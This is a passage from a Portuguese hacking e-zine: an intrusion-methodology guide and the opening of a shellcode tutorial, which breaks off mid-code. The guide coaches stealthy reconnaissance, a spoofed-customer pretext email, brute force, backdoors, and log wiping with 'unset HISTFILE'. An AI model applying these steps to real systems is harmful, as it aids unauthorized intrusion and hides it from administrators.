servicos oferecidos pelo mesmo, por exemplo: servidor de hospedagem, necessariamente
tera um daemon de ftp, como vc acha que se envia arquivos para ele? talvez
um daemon de ssh, pop3 e smtp, alem do proprio http, um provedor de acesso a
internet provavelmente tera um servidor de dns, pop3, smtp, http, e assim por
diante, como confirmar se eles tem isso mesmo? Um simples telnet pode dizer
isso e ainda mais, veja na parte 2.4 alguns exemplos, para avaliar as
possiveis brechas nos daemons uma busca em sites ou listas de seguranca
ou  hacking ajuda muito.
   Se ainda assim vc prefere fazer o scaneamento ao menos utilize ferramentas
que nao lhe entreguem para o admin de bandeja, como exemplo:

-Scanner Distribuido, uma ferramenta desenvolvida em PHP por tDs para
esse conceito pode ser encontrada em:
http://dfymder.motdlabs.org

-LD Scanning, uma ferramenta em perl, construida por DNS-, baseada neste
conceito pode ser obtida em:
http://cdm.frontthescene.com.br/ferramentas/LD-SCANING-POC.tgz

   Nao pretendo aprofundar neste texto o tema de scanners de rede, caso queira
buscar mais sobre o assunto sugiro uma leitura nos seguintes textos em portugues.

Jerry Slater -> Port Scanning http://cdm.frontthescene.com.br/artigos/portscan.txt
Jerry Slater -> LD-Scanning http://cdm.frontthescene.com.br/artigos/ldscanning.pdf
Hallucination -> Varreduras http://guide.motdlabs.org/edicoes/guide01/varreduras.txt
REPOLHO -> NMAP pode ser lido nesta mesma e-zine

  Tenha sempre em mente que tomar atitudes que sao esperadas por um admin nao
eh muito inteligente, o ideal eh sempre inovar e criar novas formas, seja
imprevisivel...;)

2.4 - Analisando Banners
************************

   Todos os daemons apresentam um banner quando um usuario se conecta nele, esse
tipo de informacao eh  bem util para o atacante, ja para um usuario comum ou
admin nao vejo vantagem nenhuma de possuir este banner a nao ser propaganda do
programa...:/...caso vc seja o administrador da rede,  altere este banner
para qualquer outra coisa. Imaginemos a seguinte situacao, um hacker quer atacar
um servidor que presta servico de hospedagem de sites, ele nao quer passar um
scanner pq nao quer chamar atencao, mais mesmo assim precisa descobrir quais os
programas q gerenciam os daemons do host, numa visita a pagina ele descobre que
o server tem servicos de ftp, ssh, smtp, pop3, http rodando e talvez algum
programa de administracao remota como webmin ou outros... para descobrir o que esta
rodando nestas portas ele simplesmente se utiliza do telnet, como vemos abaixo:

inferninho@weapon:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [weapon.heart.org]

inferninho@weapon:~$ telnet localhost 22
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.7.1p2

inferninho@weapon:~$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 weapon.heart.org ESMTP Sendmail 8.12.10/8.12.10; Thu, 26 Feb 2004 13:03:47 -0300

   Poderia ser utilizado ainda o netcat, $ nc endereco porta.

   Para capturar o banner do daemon httpd ele se utiliza de um navegador em modo txt
do linux muito famoso, o lynx:

inferninho@weapon:~$ lynx localhost

   Apos a pagina aberta basta pressionar o sinal de '=' que o banner sera exibido.

Linkname: Test Page for the SSL/TLS-aware Apache Installation on Web Site
     URL: http://localhost/
 Charset: iso-8859-1 (assumed)
  Server: Apache/1.3.28 (Unix)
    Date: Thu, 26 Feb 2004 16:04:46 GMT
Last Mod: Tue, 19 Aug 2003 23:47:23 GMT
Owner(s): None
    size: 27 lines
    mode: normal

   Depois das consultas terem sido realizados ele constatou que o servidor tem,
ProFTPD 1.2.8, OpenSSH_3.7.1p2, Sendmail 8.12.10 e Apache 1.3.28., isso se os
banners nao tiverem sido alterados, situacao que dificulta em muito a acao do
atacante, mais ainda nao eh o suficiente para manter um host longe de hackers.

2.5 - Detectando o S.O.
***********************

   Detectar o sistema operacional de um servidor eh fundamental, isso implica
diretamente em que tecnicas vc podera usar contra o server, entao coloque a mao
na massa...:P... Como no caso do portscan eh possivel descobrir o S.O. de um
servidor apenas por deducao, como? Ainda na situacao criada acima, apos a
verificacao dos banners, fica visivel para o hacker que se trata de um sistema
unix ou linux, ou por acaso vc ja viu um windows rodando sendmail? no banner
do apache temos mais uma confirmacao disto, e ele ja sabe que se trata de um
slackware, pois ao visitar a web page do servidor, estava descrito nos planos
que eles usavam win2k e slackware (qual seria a utilidade de diser qual s.o. usa?)
, a menos que todas essas informacoes tenham sido forjadas o atacante ja coletou
informacoes mais que sufientes para tracar seu plano de ataque, obviamente esse
metodo pode apresentar erros, neste caso existem ferramentas que detectam o
sitema atraves da obtencao de impressao digitais de pilhas como exemplo temos:

  O Nmap que faz obtencao da pilha de forma ativa atraves da opcao -O, ou seja,
vc sera detectado por um provavel IDS...:/

root@weapon:/# nmap -O localhost
...
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20

  Existem ferramentas q obtem esses dados de forma passiva, desta forma sao
mais recomendadas que o uso do nmap.

p0F -> http://packetstorm.linuxsecurity.com/UNIX/scanners/p0f-2.0.2.tgz
Siphon -> http://siphon.datanerds.net/

para maiores detalhes sobre deteccao de S.O atraves de fingerprinting::
$ vim /usr/doc/nmap-3.45/nmap-fingerprinting-article.txt
dependendo da distro ou da versao do nmap o caminho pode ser outro...;)

2.6 - Usando Engenharia Social
******************************

   Muita gente nao considera engenharia social como hacking, pra mim
isso eh uma grande bobagem, passar horas discutindo o que eh hacking e
o que nao eh, no final cada um pensa e fala o que quer, o fato e que
a engenharia social funciona...:)...nao somente para conseguir uma shell
no host como tb para coletar informacoes do mesmo, como? veja o mail
a seguir, vamos supor que o hacker do caso anterior nao conseguiu
obter nenhum daqueles dados, ou acredita que eles nao sao confiaveis.
entao ela passa o seguinte fakemail para o responsavel pelo atendimento
ao cliente (ele conseguiu o mail deste na propria pagina do servidor).

Informacoes...
De: cliente@provedor.jp
Para: contato@provedor.jp

Ola,

Sou cliente de vossa empresa ja ha algum tempo, estou muito satisfeito
com o servico, o caso e que tenho um amigo que me questionou sobre o local
que eu hospedava minha pagina, e se o servico era bom... Sem pensar duas
vezes eu indiquei o provedor.jp, mesmo assim ele ficou um pouco preocupado
com relacao a seguranca do servidor, ja que pretende hospedar um site para
vendas de pecas de informatica e teme que seus clientes tenham seus cartoes
de credito usados indevidamente por terceiros, me perguntou sobre quais
daemons voces usam e sobre o sistema de IDS utilizado, como eu nao entendo
nada disso, nao pude responder, entao estou enviando este e-mail e pedindo
que se possivel estas informacoes fossem repassada para ele, o e-mail dele
e contalaranja@box.com.

Sem mais para o momento, agradeco desde ja.

Cliente

   Como vcs podem notar o hacker, se passou por um dos clientes da provedor.jp
, o que!? vc nao cairia nessa? heh, sei...;)

   Um script em perl que automatiza o processo do envio de fakemail pode ser
encontrado em:http://www.motdlabs.org/downloads/falsificator

   Tenha em mente que todos os ataques de engenharia social devem ser bem
pensados e adaptados a situacao e as pessoas envolvidas, entao nao se limite
aos exemplos dados.

  Para maiores detalhes sobre engenharia social:

Inferninho -> Engenharia Social
http://inferninho.motdlabs.org/papers/engsocial.txt

Mitnick -> A Arte de Enganar, em ingles pode ser baixado em:
http://greenhornet.motdlabs.org/Art_of_deception.zip

-----------------------------
3 - Partindo para a ofensiva |
-----------------------------

   Abaixo voce nao encontrara nenhum exemplo de tecnica para invasao, pretendo
abordar algumas tecnicas em outros textos, de forma que tera apenas a enumeracao
de alguns poucos conceitos ja amplamente discutidos, existem muito mais coisa do
que as descritas aqui, muito mesmo, entao se voce ja esta na cena a algum tempo,
nao perca tempo lendo isto...;)

3.1 - Avaliando as brechas
**************************

   Apos colher todas as informacoes do host, esta na hora de detectar quais as
possiveis falhas de seguranca que este tenha, uma forma de fazer isto eh procurar
por falhas especificas para a versao do daemon, em sites e listas espalhadas pela
internet, alguns conseguem memorizar varias tecnicas de invasao e quais
vulnerabilidades cada daemon tem, se vc nao tem memoria de elefante, nao se
intimide e recorra ao google.com ou melhor procure em sites como:

http://www.securityfocus.com/
http://www.securiteam.com/
http://packetstormsecurity.org/

   Outra forma de achar os bugs e usando um scaner de vulnerabilidade, como
ja dito antes eles nao sao recomendados, mais em todo caso, em particular
gosto muito do nessus e do n-stealth, que podem ser encontrados respectivamente
e gratuitamente em:

http://www.nessus.org
http://www.nstalker.com

3.2 - Senhas padroes e Brute force
**********************************

   Varios aplicativos, roteadores, etc. vem com senhas padroes por default, e
por mais incrivel que pareca os administradores raramente dao um fim em tais senhas
seja por nao conhece-las ou ate mesmo por irresponsabilidade, o que voce tem
haver com isso? Bom se voce conhece essas senhas padroes logo voce tera acesso
a tal servico, listas com essas senhas sao divulgadas aos montes pela internet
de uma procurada no google, e acredite, por mais estranho que possa parecer,
mais cedo ou mais tarde voce ira se deparar com uma maquina contendo senhas padroes,
se e que nao ja topou.
   Brute Force consiste em ir tentando senha por senha ate encontrar alguma
valida, isso pode ser feito manualmente ou atraves de programas que automatizam
o processo (bem mais pratico que fazer na mao), esses programas se utilizam de
wordlist que se trata de um arquivo .txt contendo as senhas e/ou logins,
normalmente no seguinte formato:

inferninho@weapon:~$ cat wordlist.txt
joao
pedro
zezinho

   Assim como no caso das senhas padroes, e possivel encontrar centenas de
wordlist espalhadas pela internet. Outra forma de se implementar um brute
force e usando o metodo que geralmente sao mostrados em filmes, tipo:

aaaaaa
aaaaab
aaaaac

   E assim por diante, obviamente esse metodo nao e tao bom quanto o anterior
e muito menos tao eficiente (a nao ser em alguns casos muito especificos) como
os filmes tentam fazer parecer, o ideal mesmo e que sua wordlist seja o mais
personalisada possivel para a sua vitima, assim os resultados devem ser melhores,
duas coisas ainda devem ser ditas sobre o brute force, e praticamente impossivel
numa rede com IDS faze-lo passar desapercebido, a segunda e que ele e sempre
viavel, mais cabe a voce decidir se o tempo gasto com ele vale a pena.

Para se aprofundar no assunto basta ir no google digitar brute force, tenho
certeza que encontrara diversos links.

Na pagina do MOTD Labs e possivel encontrar algumas ferramentas para aplicar
o Brute Force:

http://www.motdlabs.org/downloads.html

Nash Leon -> Brutal Force
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/brutal_force.txt

3.3 - Trojans
*************

   Apesar de nao ser muito elegante, essa tecnica costuma ter resultados, ainda
mais em usuarios leigos, o nome obviamente se origina da estoria do cavalo de
troia, sua metodologia tambem consiste na mesma utilizada em tal ocasiao, entao
trata-se de um programa camuflado, que seja de extremo interesse do usuario (ou
talvez nao, e possivel induzi-lo a rodar um programa sem o seu consentimento)
que ao ser executado permite acesso para o invasor a algum recurso anteriormente
nao permitido ou algo do tipo, trojans sao encontrados aos montes pela internet,
mas quanto mais personalisados eles sao, melhores os resultados.

Nash Leon -> Backdoors e Trojans
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/backdoors_e_trojans.txt

e-brain -> Win32 Trojan Coding
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/win32_trojan_coding.txt

3.4 - Servicos mal configurados e/ou vulneraveis
************************************************

   Sempre que se consegue acesso atraves de um servico do servidor e porque ou
este se encontrava mal configurado pelo admin ou estava com alguma falha no seu
codigo que o torna vulneravel a um buffer overflow ou algum de seus parentes,
tecnicas e/ou exploits para ambos sao vastamente encontrados na rede, para ter
sucesso, basta definir quais aplicativos o servidor tem rodando, atraves de
metodos ja abordados aqui ou outros, em seguida deve-se comecar a tentar
explorar o servico por meios que voce tem conhecimento, uma boa forma de se
manter atualizado sobre tecnicas e exploits e atraves de listas de discussoes, em
.br temos algumas interessantes:

http://lista.motdlabs.org
http://br.groups.yahoo.com/group/clube_dos_mercenarios/
http://br.groups.yahoo.com/group/frontthescene/

   Atraves de buscas pela internet, google ajuda bastante, com o tempo voce tera
uma boa lista de sites sobre o assunto de sua preferencia, ou ainda atraves de
contatos em private, podem ser amigos ou alguem que lhe deva um favor, ou apenas
voce estava no lugar certo e na hora certa...:P...Bom e isso, nao vou me
aprofundar nisso senao o txt acaba ficando maior do que deveria.

Nash Leon -> Hacking the WEB
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/hacking_the_web.txt

Nash Leon -> CGI Problems
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/cgi_problems.txt

----------------
4 - Pos-invasao |
----------------

   Depois que voce conseguiu acesso a maquina cabe a voce tomar algumas medidas
para sua propria seguranca, ter acesso novamente ao host e ainda para coletar o
maximo de informacao que puder do servidor.

4.1 - Garantindo acesso
***********************

   As formas mais usuais hoje em dia sao backdoors e contas validas, mais existem
outras formas, na secao entitulada "trojans" tem um link que fala de forma mais
detalhada sobre backdoors, mais em suma se trata de um programa que permite que
voce acesse a maquina sempre que desejar sem ter que passar pelo processo de
invasao novamente, existem diversos backdoors mas muitos mesmo, o bom e que
voce tenho o seu proprio, mas caso ainda nao tenha experiencia para escrever
um, sugiro procurar um que lhe agrade, e pelo amor de Deus instale ele num lugar
que seja dificil de se encontrar, deixar backdoor no /tmp chega a ser sacanagem
apesar de que ja vi gente que se diz elito, fazendo isso...O_o

Uma backdoor escrita por Nash Leon do Clube dos Mercenarios pode ser encontrada
em: http://cdm.frontthescene.com.br/ferramentas/little_crow-v0.3.tar.gz

4.2 - Quem deixa rastro eh lesma...;)
*************************************

   Se voce nao tem intencao de deixar vestigios de sua entrada no servidor e
interessante dar um remodelada nos arquivos de logs, uma boa ideia e assim
que entrar no servidor digitar logo de cara 'unset HISTFILE' para que seus
comandos nao fiquem gravados no .bash_history, em seguida procurar os logs,
cada caso e um caso, e necessario que vc de uma estudada no servidor para
saber o que esta sendo gravado ou nao, mais em todo caso a maioria dos logs
ficam em /var/log, e indicado que seja feita apenas uma alteracao neste
arquivo, apagando apenas o trecho referente a sua presenca, pois apaga-lo
totalmente e muito chamativo, exitem ferramentas que automatizam o processo,
conhecidas como cleanlogger, de uma procurada que vc encontra, elas sao muito
indicadas mais e bom ser precavido e apos seu uso dar uma conferida para ver
se ela realmente esta configurada para alterar todos os logs que o servidor
esta gravando, caso nao, faca isso manualmente.

4.3 - Evitando "visitantes" indesejados
***************************************

   Caso voce nao tenha intencao de ter que dividir seu servidor com outro
invasor, e conveniente que seja aplicadas correcoes no servidor por voce mesmo,
ao menos na falha pela qual voce obteve acesso, caso o admin seja extremamente
relaxado (voce ira notar isso, acredite) e aconselhado que se faca correcoes em
outras falhas que forem surgindo tambem, mas isso tudo e algo que fica a seu
criterio.

4.4 - Cheirando a rede
**********************

   Instalar sniffer na rede para capturar o trafego da mesma e subsequentemente
adiquirir mais contas validas e informacoes sobre a rede, e realmente muito
atraente e sugerido, para saber mais sobre o assunto leia o texto do hallucination
aqui mesmo nessa zine.

Sniffer feito por Nash Leon:
http://cdm.frontthescene.com.br/ferramentas/solitary-v0.7.tar.gz

----------------
5 - Finalizando |
----------------

   O texto acabou decaindo bastante nos ultimos topicos, a pressa para envia-lo
em tempo de ser publicado na e-zine colaborou em muito para isso, mas mesmo
assim acredito que o mesmo tenha feito jus ao nome, se voce entrar nos links
que indiquei no decorrer do txt, com certeza, tera leitura por um bom tempo, pois
dentro deste existem mais links que levam a outros temas e assim sucessivamente.
Outra coisa, se voce achou o texto fraco, e sinal que ele nao era uma leitura
recomendada para voce, entao nao venha me encher o saco falando que ta uma merda,
sugiro que escreva um melhor ou recomende ele para seus inimigos...=)... para
quem gostou se aprofudem bem no assunto lendo todos links, pois em breve estarei
publicando textos com conteudo mais "pesado" e para compreensao do mesmo e bom que
se tenha ao menos esta base. Bom vou ficando por aqui.

[]'s

inferninh0

links relacionados:
*******************

Hacking & Forensics, por Dum_Dum e Omegabite
http://cdm.frontthescene.com.br/artigos/Wendel-Junior-Enec2003.pdf

Manual Pratico para Newbies Pos-invasao, por r0ot
http://www.rootspage.host.sk/textos/newbiemanual.txt

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[05]-=[Shellcode Sem Segredos Parte I]-=|IP_FIX|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Shellcode Sem Segredos Parte I

Desenvolvido por IP_FIX.
ip_fix@motdlabs.com.br || everson3000@hotmail.com

18/04/2004
Versão 1.0

MOTDLabs:  http://www.motdlabs.org
Lista:     http://lista.motdlabs.org

Dedicação: Todos do grupo MOTD, em especial o Scythium Alhazred e vbKeyDel.
           Narcotic pela ajuda em ASM e pelo empilha.c (vide motdlabs.org)
	   slalon pela shell remota num SuSe onde pude testar meus codes... :P

Thanks: Clube dos Mercenários: http://cdm.frontthescene.com.br
	Front The Scene:       http://www.frontthescene.com.br

Observação: Os código apresentados aqui podem ser extraído com a phrack extract.

Como vai galera? Sou eu mais uma vez para atormentar a vida de vocês, mas  creio
que  dessa  vez  não  será  tanto. Irei  dissertar  sobre  a  escrita  básica de
shellcodes, tentarei mostrar as facilidades e dificuldades dessa grande arte que
exige muita paciência e dedicação.

Resolvi escrever  esse tutorial  com o  intuito de  ajudar e  orientar os jovens
fuçadores, Newbies, que estão começando nesse novo mundo mas sentem dificuldades
de evoluírem devido ao escasso material de bom conteúdo em português. Reparo nos
canais IRC que a busca  desse tipo de material é  grande, mas as fontes que  são
passadas, geralmente  são: "Smashing  the stack  for fun  and profit", por Aleph
One, e também:  "TUTORIAL BASICO DE  ESCRITA DE SHELLCODES",  por Nash Leon.  Na
minha opinião, considero  esses uns dos  melhores artigos sobre  shellcodes, mas
não quer dizer que são os únicos.  Quando iniciei minha busca, me depa- rei  com
vários artigos que abrangem muito conceitos a  mais, e que ape- sar de serem  em
inglês, eram de fácil entendimento.  Com base nesses materiais, irei  transpor a
vocês que todo problema tem uma solução, que a chave para tudo é a persistência,
criatividade e malícia.  Levei vários tropeços  até aprender o  "mínimo" e agora
quero passar para todos vocês esse  mínimo que aprendi. Espero que façam  um bom
aproveito desse  material e  que isso  desperte o  interesse de  todos, para uma
maior discussão.

Desde já agradeço o apoio  que o grupo MOTD tem  dado não só a mim,  mas a todos
Newbies recém chegados ao underground que ficam em sua maioria, perdidos entre o
"BEM" e  o "MAL",  quero dizer  que muitos  ao chegar,  acabam caindo  em canais
lamers e defacers que faz com que  a mente dos novatos sejam usadas de  má forma
para atitudes ilegais e desrespeitosas, denigrindo ainda mais a imagem "hacker".
O MOTD por  só mostra a  realidade e os  caminhos para os  novatos, e com  isso,
muitos têm se juntado a cena ética do hacking brasileiro, aprendendo e ajudando,
isso faz todos ganharem. Obrigado galera!!! :) :P

Como já falei, a escrita de shellcodes  não pode ser dita como "fácil", mas  ela
também não é "difícil". Vejo que o maior problema da grande mai- oria é o  pouco
conhecimento  da  linguagem  Assembly,   que  é  fundamental  para   o  completo
entendimento. Quem mau viu  assembly na vida, vai  achar isso tudo uma  coisa de
louco, de  outro planeta, mas quem já programa em assembly vai achar mais do que
fácil. Entenderam o ponto que quis chegar? APRENDAM ASSEMBLY!!! Enquanto eu  não
parei,  estudei  e  "pratiquei",  mal conseguia  entender  os  'xor'  da vida...
Pratiquem muito Assembly!

Conhecimentos  de  C,  Linux  e   principalmente  Asssembly  são  mais  do   que
necessários, mas  somente o  básico. Uma  boa manipulção  com o  gcc e o gdb são
muito bem-vindas! :)

Antes gostaria  de informar  meu ambiente  de trabalho.  Vejo que alguns códigos
podem ter comportamentos diferente em outros sistemas. Estou usando um Slackware
9.1 sem qualquer modificação:

root@motdlabs:/# uname -a
Linux  motdlabs 2.4.22  #6 Tue  Sep 2  17:43:01 PDT  2003 i686  unknown unknown
GNU/Linux

root@motdlabs:/# gcc -v
Reading specs from /usr/lib/gcc-lib/i486-slackware-linux/3.3.1/specs
Configured with: ../gcc-3.3.1/configure --prefix=/usr --enable-shared
--enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld
--verbose --target=i486-slackware-linux --host=i486-slackware-linux
Thread model: posix
gcc version 3.3.1

root@motdlabs:/# cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 11
model name      : Intel(R) Pentium(R) III CPU             1000MHz
stepping        : 1
cpu MHz         : 999.728
cache size      : 256 KB
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 2
wp              : yes
flags           : fpu vme de pse tsc msr  pae mce cx8 sep mtrr pge mca cmov  pat
                  pse36 mmx fxsr sse
bogomips        : 1992.29

root@motdlabs:/#

O padrão full  da instalação do  slackware, inclui o  gcc 3.2.3, mas  com testes
realizados com  o gcc  3.3.1 num  SuSe me  mostrou que  os código teriam que ser
reescritos de outra forma. Então instalei o gcc 3.3.1 que vem acompanhado no CD2
na pasta /extras. :)

        Agora chega de enrolação!
        Let's Rock! ;)

Um bom começo para escrever um shellcode, é primeiro fazer um protótipo dele  em
C. Com isso se tem uma melhor visão de como ele irá ficar em Assembly. Acompanhe
abaixo  nosso primeiro  código, ele  irá apenas  imprimir a  string MOTDLabs  na
tela.:

<++> shellcode/cwrite.c
/*
 *  Protótipo de um shellcode em C.
 *  Imprime a string "MOTDLabs" na tela.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o cwrite cwrite.c
 */

   #include

   int main() {

   /* write(stdout,"MOTDLabs\n",strlen("MOTDLabs\n")); */
   write(1,"MOTDLabs\n",10);

   /* Sai limpo. */
   exit(0);

}
<--> shellcode/cwrite.c

 OBS: Sempre deixe seu código em C o mais simples possível.

 Sem segredos esse programinha. Mas vamos analisar suas funções:

Se  consegue  os  protótipos  das  funções  através  das  man  pages,  elas  são
extremamente úteis, pois  é a documentação  ofical! Muitas dúvidas  minhas foram
tiradas dela e certamente tirará as suas também!!! :)

root@motdlabs:~/IP_FIX/shellcode# man 2 write

ssize_t write(int fd, const void *buf, size_t count);

int fd:  Será um  inteiro representando  um arquivo,  ou em  nosso caso, a saída
padrão do monitor(STDOUT) que possui o valor de 1.

const void *buf: Aqui colocamos nossa string que será armazenada no buffer.

size_t count:  Colocaremos aqui  o número  total da  quantidade de caracteres de
nossa string, incluindo o \n.

 OBS: man 2 write  retornará um texto enorme,  mas só utilizarei o  que  irá nos
 interessar.

Super simples a função write(), mais simples ainda é a função exit().:

void exit(int status);

int status: Podemos usar EXIT_SUCESS (0) ou EXIT_FAILURE (1 ou -1).

Usamos a função exit() para que se algo der errado, nosso programa termine  numa
boa, por isso tem o  valor de 0 (EXIT_SUCESS), que  se der algo errado acima  do
código o programa encerra limpo.

       Bom, compile e execute e você verá que é muito simples mesmo.

root@motdlabs:~/IP_FIX/shellcode# gcc -o cwrite cwrite.c
root@motdlabs:~/IP_FIX/shellcode# ./cwrite
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#

	Agora com base nesse protótipo em C, vamos remontá-lo em ASM.

<++> shellcode/asmwrite.c
/*
 *  Protótipo de um shellcode em ASM.
 *  Imprime a string "MOTDLabs" na tela.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o asmwrite asmwrite.c
 */

#include

main()
{
   __asm__(
           "mov    $0x1, %ebx  \n" /* STDOUT da função write().                                                     */
	   "push   $0x0A       \n" /* Aqui temos... (\n).                                                           */
	   "push   $0x7362614C \n" /* ...nossa string... (sbaL).                                                    */
           "push   $0x44544F4D \n" /* ...ao contrário. (DTOM).                                                      */
	   "mov    %esp, %ecx  \n" /* Como toda nossa string se localiza no Stack, vamos jogá-la para o contador.   */
	   "mov    $0xa, %edx  \n" /* Aqui está o tamanho da string: 0xa=10. Jogamos para o registradador de dados. */
           "mov    $0x4, %eax  \n" /* Nossa querida system call de write().                                         */
           "int    $0x80       \n" /* A melhor hora! Cai pro modo kernel e executa tudo acima!                      */
	   "mov    $0x0, %ebx  \n" /* Jogamos 0(EXIT_SUCCESS) em %ebx.                                              */
           "mov    $0x1, %eax  \n" /* Outra querida system call, da função exit() dessa vez.                        */
           "int    $0x80       \n" /* Finalmente! Tudo é executado!                                                 */
          );
}
<--> shellcode/asmwrite.c

O que acharam?  Simples não? Bom,  pra alguns sim,  pra outros não.  Se você não
entendeu,  estude mais  assembly, pegue  os links  no final  desse artigo  e se
debulhe!!! Mas mesmo assim irei explicar o que se passa.

Uma dúvida que geralmente trava os inciantes na linguagem assembly, é a passagem
dos argumentos das funções aos registradore, muitos ficam perdidos sem saber pra
qual passar aí vai  uma grande ajudar que  me abriu muito a  mente. Os problemas
acabaram quando achei o "Linux System Call Table" em um site que mostrava toda a
system call table que nós conhecemos em:

root@motdlabs:/# cat /usr/include/asm/unistd.h

E também  para qual  registrador cada  argumento vai,  veja o  exemplo da função
exit() e write():

 _____________________________________________________________________________________________
|%eax|    Name    |           Source           |      %ebx    |  %ecx  |  %edx  | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
| 1  |  sys_exit  | kernel/exit.c              |     int      |        |        |      |      |
| 4  |  sys_write | arch/i386/kernel/process.c | unsigned int | char * | size_t |      |      |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

	Vamos analisar o que fizemos e comparar com nossa pequena tabela.
	Vamos ver a função write() e exit() novamente:

ssize_t write(int fd, const void *buf, size_t count);
              [%ebx], [    %ecx     ]  [    %edx   ]

void exit(int status);
          [  %ebx   ]

Quais conclusões que chegamos? Vimos que o número da system call  sempre  deverá
ser passada para %eax.  No caso de write(),  o inteiro sempre  deve  ser passado
para %ebx,  a  string para %ecx   e o tamanho  para  %edx!!! Em  exit() o  mesmo
raciocínio:  System call  em  %eax,  e o  int  para  %ebx. Compare tudo  isso no
código novamente.  Você verá que agora ele faz  bem mais sentido. :)

Com isso dá pra se chegar a conclusão que toda system call sempre irá para %eax;
argumento 1 para  %ebx; argumento 2  para %ecx; argumento  3 para %edx;  e assim
vai... Mas de qualquer colarei a tabela para acompanharmos com clareza.

Bem, agora  que terminamos  nosso protótipo   em C  e em  ASM. Vamos  logo pegar
todos  os  opcodes   (instruções  válidas)  em  hexadecimal   e  finalizar nosso
shellcode.  Compile o   asmwrite.c normalmente,  execute-o  para ter certeza  de
que funciona e vamos pegar os códigos hexadecimais no GDB.

root@motdlabs:~/IP_FIX/shellcode# gcc -o asmwrite asmwrite.c
root@motdlabs:~/IP_FIX/shellcode# ./asmwrite
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#

Funciona perfeitamente. Agora precisamos  debugá-lo para pegarmos os  códigos em
hexadecimal.

root@motdlabs:~/IP_FIX/shellcode# gdb asmwrite
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb)

O gdb  pra quem  não conhece,  é um  GNU Debugger.  Um excelente debugador livre
muito completo. Não explicarei todos  os comando que ele possui,  mas explanarei
os quais  iremos usar.  Voltando ao  asmwrite vamos  "disassembliar" o  objeto e
conferir seu código:

(gdb) disassemble main
Dump of assembler code for function main:
0x8048314 :       push   %ebp
0x8048315 :     mov    %esp,%ebp
0x8048317 :     sub    $0x8,%esp
0x804831a :     and    $0xfffffff0,%esp
0x804831d :     mov    $0x0,%eax
0x8048322 :    sub    %eax,%esp
0x8048324 :    mov    $0x1,%ebx
0x8048329 :    push   $0xa
0x804832b :    push   $0x7362614c
0x8048330 :    push   $0x44544f4d
0x8048335 :    mov    %esp,%ecx
0x8048337 :    mov    $0xa,%edx
0x804833c :    mov    $0x4,%eax
0x8048341 :    int    $0x80
0x8048343 :    mov    $0x0,%ebx
0x8048348 :    mov    $0x1,%eax
0x804834d :    int    $0x80
0x804834f :    leave
0x8048350 :    ret
0x8048351 :    nop
0x8048352 :    nop
0x8048353 :    nop
0x8048354 :    nop
0x8048355 :    nop
0x8048356 :    nop
0x8048357 :    nop
0x8048358 :    nop
0x8048359 :    nop
0x804835a :    nop
0x804835b :    nop
0x804835c :    nop
0x804835d :    nop
0x804835e :    nop
0x804835f :    nop
End of assembler dump.
(gdb)

	Hehehe, adoro isso! :)

Pra quem sabe um pouco de assembly,  sabe que o começo é o prelúdio,  prólogo ou
processo incial, ele também reserva um espaço no stack e alinha a memória.  Eles
serão úteis quando falarmos sobre  buffer overflows numa outra oportunidade  não
distante. :P

Maiores informações, vide os  links no fim do  arquivo sobre assembly. Lá  vocês
encontrarão  as  respostas para  suas  perguntas! Voltando...  Repare  que nosso
código começa  somente em   e  a última  instrução começa em .
Então devemos pegar todos  os opcodes em hexadecimal  a partir de   até
.

Mas não  seria até  ??? Sim,  mas repare  que a  instrução "começa"  em
 e prossegue até , ou  seja, 1 antes da próxima instrução  que
no caso seria . Voltando a caça dos opcodes...

O comando que usaremos é o x/xb, que irá nos retornar o código em hexa.:

(gdb) x/xb main+16
0x8048324 :    0xbb
(gdb)
0x8048325 :    0x01
(gdb)
0x8048326 :    0x00
(gdb)
0x8048327 :    0x00
(gdb)
0x8048328 :    0x00
(gdb)
...
...
...
0x804834a :    0x00
(gdb)
0x804834b :    0x00
(gdb)
0x804834c :    0x00
(gdb)
0x804834d :    0xcd
(gdb)
0x804834e :    0x80
(gdb)

Dica: Depois do  x/xb main+16, aperte  e segure a  tecla ENTER, você  verá que o
processo será bem mais rápido. :)

	Ok, temos os códigos em hexadecimal e agora?
	Agora nós iremos montá-lo para poder ser executado.:

<++> shellcode/hexawrite.c
/*
 *  Shellcode pronto em hexadecimal.
 *  Imprime a string "MOTDLabs" na tela.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o hexawrite hexawrite.c
 */

#include

char shellcode[] = "\xbb\x01\x00\x00\x00" /* mov    $0x1, %ebx  */
